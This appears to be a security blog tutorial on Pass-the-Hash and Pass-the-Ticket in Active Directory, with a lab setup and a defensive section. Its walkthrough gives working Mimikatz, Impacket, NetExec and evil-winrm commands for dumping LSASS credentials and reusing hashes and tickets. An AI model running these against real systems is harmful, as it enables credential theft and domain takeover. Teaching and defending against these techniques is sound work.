Pass-the-Hash and Pass-the-Ticket in Practiceｗ

Active Directory
2026.06.03
Time it takes to read this article 5 minutes.

Legal & ethical disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to assess. Credential-theft attacks against systems you do not control are illegal in virtually every jurisdiction. Build a lab.

Introduction

Two of the most reliable lateral-movement primitives in any Active Directory engagement are Pass-the-Hash (PtH) and Pass-the-Ticket (PtT). Both exploit a fundamental design property of Windows authentication: you rarely need a cleartext password. For NTLM, the NTLM hash itself is the secret. For Kerberos, a valid TGT or service ticket is the secret. If you can steal either artifact from memory, you can authenticate as that user — no cracking required.

In this article you'll learn how each protocol treats these secrets, how to extract them with sekurlsa, and how to reuse them with pth (Pass-the-Hash), ptt (Pass-the-Ticket), and remote tooling like evil-winrm -H. We close with a Blue Team section weighted as heavily as the offense, because mitigations here are what actually move the needle.

How It Works

NTLM authentication never sends the password over the wire. The client proves knowledge of the NT hash (MD4(UTF-16LE(password))) through a challenge/response exchange (NTLMv2). Critically, the hash is the password-equivalent: Windows derives the response from the hash directly, so an attacker holding the hash can complete authentication without ever knowing the cleartext. This is the entire basis of PtH.

Kerberos is ticket-based. After a user logs on, the KDC issues a Ticket Granting Ticket (TGT), encrypted with the krbtgt key. To reach a service, the client presents the TGT to request a service ticket (TGS). Both ticket types live in LSASS memory. Pass-the-Ticket simply means exporting a .kirbi ticket from one session and injecting it into another logon session, so the OS uses it for subsequent Kerberos requests.

The common ingredient is LSASS (lsass.exe), the process that caches credential material for single sign-on. Mimikatz's sekurlsa module reads this memory to recover NTLM hashes, Kerberos keys, and tickets.

Prerequisites / Lab Setup

A minimal lab:

  • A Windows Server 2019/2022 Domain Controller (CORP.LOCAL).
  • One or two domain-joined Windows 10/11 workstations.
  • An attacker box (Kali) plus the ability to run Mimikatz on a compromised host.
  • Local administrator (or SeDebugPrivilege / SYSTEM) on the victim — you cannot read LSASS without it.

Tools used: mimikatz, impacket (psexec.py, wmiexec.py, secretsdump.py), evil-winrm, and crackmapexec/netexec.

Attack Walkthrough

Step 1 — Extract secrets from LSASS

On the compromised host, run Mimikatz elevated. Enable the debug privilege, then dump logon secrets:

privilege::debug
sekurlsa::logonpasswords

sekurlsa::logonpasswords enumerates every logon session and prints the NTLM hash for each (look for the NTLM : line under each user). To pull Kerberos tickets directly to disk:

sekurlsa::tickets /export

This writes .kirbi files (one per ticket) to the working directory — you'll reuse these for PtT. You can also harvest hashes offline with Impacket if you have a backup of the registry hives or DC access:

secretsdump.py CORP.LOCAL/svc_admin@10.10.10.5 -hashes :aad3b435b51404eeaad3b435b51404ee

Step 2 — Pass-the-Hash (NTLM)

With the NT hash in hand, authenticate as the user. Mimikatz can spawn a process in a new logon session that carries the injected hash:

sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:<NTHASH> /run:cmd.exe

The pth command starts cmd.exe whose token uses the supplied hash for outbound NTLM. From that shell, network access to other hosts will authenticate as Administrator.

More commonly on an engagement you'll pass the hash from your attacker box. Impacket and NetExec accept hashes directly via -hashes / -H:

# Impacket psexec, LM:NT format (empty LM is fine)
psexec.py Administrator@10.10.10.20 -hashes aad3b435b51404eeaad3b435b51404ee:<NTHASH>

# NetExec spray a hash across a subnet
netexec smb 10.10.10.0/24 -u Administrator -H <NTHASH> --local-auth

If WinRM (5985/5986) is open, evil-winrm -H gives a clean PowerShell session straight from the hash — no cleartext, no Kerberos:

evil-winrm -i 10.10.10.20 -u Administrator -H <NTHASH>

Note: pure NTLM PtH does not work against accounts where NTLM is disabled, and it does not bypass protections like the RID-500 remote UAC filtering for non-domain local admins.

Step 3 — Pass-the-Ticket (Kerberos)

When NTLM is restricted, pivot to Kerberos. Take an exported .kirbi (for example a TGT) and inject it into your current session:

kerberos::ptt [0;1a2b3c]-2-0-40e10000-Administrator@krbtgt-CORP.LOCAL.kirbi

The ptt command loads the ticket into the current logon session's ticket cache. Confirm and use it:

kerberos::list

# Now Kerberos-authenticated tools work as the ticket's owner
dir \\dc01.corp.local\C$

On Linux, convert and reuse a ticket with Impacket. Export to ccache and point KRB5CCNAME at it:

export KRB5CCNAME=/tmp/admin.ccache
psexec.py -k -no-pass CORP.LOCAL/Administrator@dc01.corp.local

PtT shines for overpass-the-hash too: feed an NTLM (or AES) key to Mimikatz sekurlsa::pth to request a real TGT, blending NTLM theft into legitimate-looking Kerberos traffic.

Attack Flow Diagram

Pass-the-Hash and Pass-the-Ticket in Practice diagram 1

Text summary: an attacker with local admin dumps LSASS, then reuses either the NTLM hash (PtH) or a Kerberos ticket (PtT) to move laterally and escalate toward domain dominance.

Detection & Defense (Blue Team)

PtH and PtT are post-exploitation: defense centers on preventing LSASS theft, limiting credential exposure, and detecting reuse.

Reduce credential exposure.

  • Enable Credential Guard (VBS-isolated LSA) on Windows 10/11 and Server 2016+. It moves NTLM hashes and Kerberos TGTs into an isolated process so sekurlsa cannot read them.
  • Turn on LSA Protection (RunAsPPL) so LSASS runs as a Protected Process Light:
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1 -PropertyType DWORD -Force
  • Deploy the Protected Users security group for high-value accounts. Members cannot use NTLM, cannot delegate, and use only AES Kerberos — directly neutering PtH and most overpass-the-hash.

Limit lateral movement.

  • Enforce Local Administrator Password Solution (LAPS) so each machine's local admin hash is unique and rotated — killing hash-reuse sweeps.
  • Apply tiered administration: Tier 0 (DCs/admins) credentials must never log on to Tier 1/2 hosts, so their hashes never land in workstation LSASS.
  • Set LocalAccountTokenFilterPolicy correctly and avoid shared local admin passwords across the fleet.

Detect reuse.

  • Hunt Event ID 4624 logons with Logon Type 3 (network) using NTLM where Kerberos is expected, and 4768/4769 ticket requests from anomalous hosts. PtH typically shows NTLM auth from a workstation that normally uses Kerberos.
  • Alert on LSASS access: Event ID 4656/4663 with a handle to lsass.exe, or Microsoft Defender for Endpoint's "credential theft from LSASS" detections. Attack Surface Reduction rule 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 blocks credential stealing from LSASS.
  • Monitor for tickets with anomalous lifetimes or encryption types (legacy RC4 0x17 when AES is standard) which often signal injected .kirbi tickets.

For context on the upstream techniques that feed these attacks, see Kerberoasting, AS-REP Roasting, and the follow-on DCSync and DCShadow.

Conclusion

Pass-the-Hash and Pass-the-Ticket persist because Windows authentication treats secondary credential material — the NTLM hash and the Kerberos ticket — as password-equivalents. Master sekurlsa for extraction, pth/ptt and evil-winrm -H for reuse, and you have a complete lateral-movement toolkit. But the same understanding tells defenders exactly where to act: isolate LSASS with Credential Guard and LSA Protection, contain credentials with LAPS and tiering, and watch for NTLM where Kerberos belongs. Offense and defense here are two readings of the same protocol.

References

Comments

Copied title and URL